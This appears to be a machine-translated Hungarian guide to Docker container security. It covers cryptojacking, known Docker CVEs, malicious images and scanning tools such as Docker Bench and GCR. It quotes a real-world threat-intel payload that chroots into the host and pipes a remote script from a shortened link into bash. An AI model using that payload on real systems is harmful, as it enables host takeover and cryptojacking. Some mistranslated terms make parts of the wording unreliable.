Hogyan lehet megtalálni és kijavítani a Docker konténer biztonsági réseit 2020-ban

A konténerezés lehetővé teszi a mérnöki csapatok számára, hogy homokozó környezetet hozzanak létre az alkalmazások futtatásához és teszteléséhez. A konténerek többnyire nyílt forráskódú képekből állnak, amelyeket a dokkolóközpontból vagy más nyilvános képtárakból húztak be.

De ezek a nyílt forráskódú képek néha tartalmazhatnak sebezhetőségeket, amelyek veszélyeztethetik a tárolók biztonságát, és viszont a gazdagépet / szervert.

Mivel ezek a konténerek egy gazda gépen futnak, lehetséges a gyártásban lévő konténerek eltérítése, ha védelem nélkül maradnak.

Az ilyen feltörésekre jó példa a Tesla kriptojacking támadása egy védtelen Kubernetes-fürt ellen. Ebben a támadásban a támadók egy kártékony szkriptet tölthettek le és futtathattak a kriptográfia bányászatához a Tesla K8s (Kubernetes) fürtjének GPU-jaival. Meg tudták tartani ezt a támadást a radar alatt azáltal, hogy a CPU használatát minimálisra csökkentették, és a szkriptet meghatározott időközönként futtatták.

A cikk során megvizsgáljuk a konténerek leggyakoribb biztonsági réseit és azok kijavításának lehetséges módjait.

Gyakori tárolóhelyi biztonsági rések és azok kijavítása

A konténereket az op mérnökök egy szoftver / alkalmazás csomagolására és telepítésére használják zárt és ellenőrzött környezetben.

A kerék újrafeltalálásának elkerülése és a piacra kerülési idő felgyorsítása érdekében a már meglévő nyílt forráskódú képeket bevonják a szoftver futtatásához szükséges függőségek kielégítésére. Ezek a képek gyakran tartalmaznak bizonyos sérülékenységeket, amelyek az egész tárolót és annak gazdagépét kiszolgáltatottá teszik a rosszindulatú támadásokkal szemben.

Az alábbiakban felsorolunk néhány gyakori tárolóhely-biztonsági rést és kitettséget, valamint a csökkentésük módját.

Cryptojacking

A kriptojacking egy olyan típusú támadás, amikor egy rosszindulatú szkriptet használnak egy eszköz számítási erőforrásainak ellopására a kriptopénzek bányászatához.

A közelmúltban egy biztonsági rést fedeztek fel a Docker-en a CVE-2018-15664 szótárbejegyzéssel. Ez a biztonsági rés lehetővé teszi a támadók számára, hogy root hozzáférést kapjanak egy gazdagép gépéhez.

Azon túl, hogy a gazda gépének CPU- és GPU-erőforrásai felhasználhatók a kriptográfia bányászatához, a támadók érzékeny hitelesítő adatokat is ellophatnak, DoS-támadásokat hajthatnak végre, adathalász kampányokat indíthatnak és még sok mást.

A konténerek hajlamosak lehetnek a titkosításra, ha rosszindulatú képeket tartalmaznak, amelyek gyökér hozzáférést biztosítanak a támadóknak az egész tárolóhoz. Akkor is sérülékenyek, ha a dokkoló-tároló API-végpontok nyilvánosan hozzáférhetők az interneten jelszavak vagy biztonsági tűzfalak nélkül, mint például a Tesla esetében.

Opportunisztikus tömeges letapogatási tevékenység észlelte a kitett Docker API végpontokat.

Ezek a vizsgálatok egy Alpine Linux kép segítségével hoznak létre tárolót, és a következő módon hajtják végre a hasznos terhet:

"Parancs": "chroot / mnt / bin / sh -c 'curl -sL4 //t.co/q047bRPUyj | bash;'", # threatintel pic.twitter.com/vxszV5SF1o

- Rossz csomagok jelentése (@bad_packets) 2019. november 25

Rosszindulatú nyílt forráskódú képek

Az a biztonsági rés, amely lehetővé teszi a gazdagép bináris bináris fájljának felülírását, a támadóknak mozgásteret enged a root hozzáféréssel rendelkező parancsok végrehajtására. A 18.09.2-es verzió előtti Docker motorok támadó által vezérelt képeket tartalmazó tárolókat fogékonnyá teszik a CVE-2019-5736 sérülékenységre.

A mérnököknek a lehető legnagyobb mértékben javasoljuk, hogy használják a Docker által biztosított hivatalos Docker képeket. Végül is van még egy Docker szponzorált csapat, amely szorosan együttműködik a szoftverfenntartókkal / -kiadókkal és a biztonsági szakértőkkel a hivatalos Docker-képek biztonságának biztosítása érdekében.

Statikus Docker fájlok

A konténerek egyik alapelve, hogy a kép megváltoztathatatlan. Ez azt jelenti, hogy egy kép felépítésekor a tartalma nem változtatható meg. Ez önmagában sebezhetőségeket okoz, amelyek a képben található elavult csomagokból / könyvtárakból / képekből származnak.

Ezért célszerű beépíteni a sérülékenységi szkennereket a CI / CD folyamatokba a sérülékeny tároló képek azonosítása érdekében. Mivel a képek megváltoztathatatlanok, az újonnan épített, frissített függőségekkel rendelkező tároló bevezetése elősegíti a biztonsági rések megfékezését, mivel a tároló javítása nem javasolt.

Hogyan lehet megtalálni a konténer sebezhetőségeit

Az előző szakaszban megvizsgáltuk a sebezhetőségek lehetséges módjait a dokkoló konténerekbe.

A biztonsági rések megtalálása a tárolóinkban, mielőtt azok gyártásra kerülnének, segít elkerülni az esetleges biztonsági megsértéseket és távol tartani a rosszindulatú támadókat.

Mint mondják - egy uncia megelőzés egy font gyógyulást ér.

Ebben a részben megvizsgáljuk azokat a lehetséges módszereket, amelyekkel megelőzheti a konténer sebezhetőségét.

A Docker Bench használata a biztonság érdekében

A Docker bench for security egy olyan szkript, amely teszteli az összes dokkoló-tárolót a gazdagépen / szerveren a tárolók üzembe helyezésének legjobb gyakorlata tekintetében. Ezek a tesztek a CIS dokkoló benchmarkján alapulnak.

Tesztfuttatáshoz húzza ki a docker/docker-bench-securityképet, és tesztelje a meglévő tárolókat a helyi gépen, így:

docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /etc:/etc:ro \ -v /usr/bin/docker-containerd:/usr/bin/docker-containerd:ro \ -v /usr/bin/docker-runc:/usr/bin/docker-runc:ro \ -v /usr/lib/systemd:/usr/lib/systemd:ro \ -v /var/lib:/var/lib:ro \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ --label docker_bench_security \ docker/docker-bench-security

Megjegyzés : ez a parancs nem működik jól az OSX rendszerben. A részletekért tekintse meg ezt a GitHub-számot.

A GCR biztonsági réseinek vizsgálata

A Docker képtárai (például a GCR) lehetővé teszik a mérnökök számára, hogy sebezhetőségi vizsgálatokat futtassanak a képek számára a tároló-nyilvántartásban.

A biztonsági rés beolvasásának engedélyezéséhez a GCR-ben (Google tároló-nyilvántartás) lépjen a Google felhőkonzol tároló-nyilvántartási beállításaihoz, és kattintson a "A sérülékenység-ellenőrzés engedélyezése" gombra:

Amikor a biztonsági rés vizsgálata befejeződött, az alábbi képen látható eredményt látja, ha vannak biztonsági rések:

Vállalati szintű megoldások használata

Vannak vállalati szintű konténer biztonsági biztonsági csomagok, amelyek kezelik a sérülékenységeket és végrehajtják a telepítési házirendeket a konténer életciklusa során.

Ezenkívül ez a termékcsomag zökkenőmentesen integrálódik a népszerű CI / CD eszközökkel és a konténerregiszterekkel. Ez lehetővé teszi a kockázatmentes telepítések, valamint a végponttól végpontig tartó konténerkezelés biztosítását a telepítéstől a gyártásig.

Következtetés

Containers make it possible for engineering teams to roll out software seamlessly. However, this ease comes at the cost of security.

There are a couple of CVEs (common vulnerability exposures) in docker containers recorded in recent years. Some of them have been resolved in recent docker-engine updates with the remainder promised in future patch releases.

Engineering teams should have security in mind when building and deploying containers. They should also enforce container security policies in their DevOps lifecycles.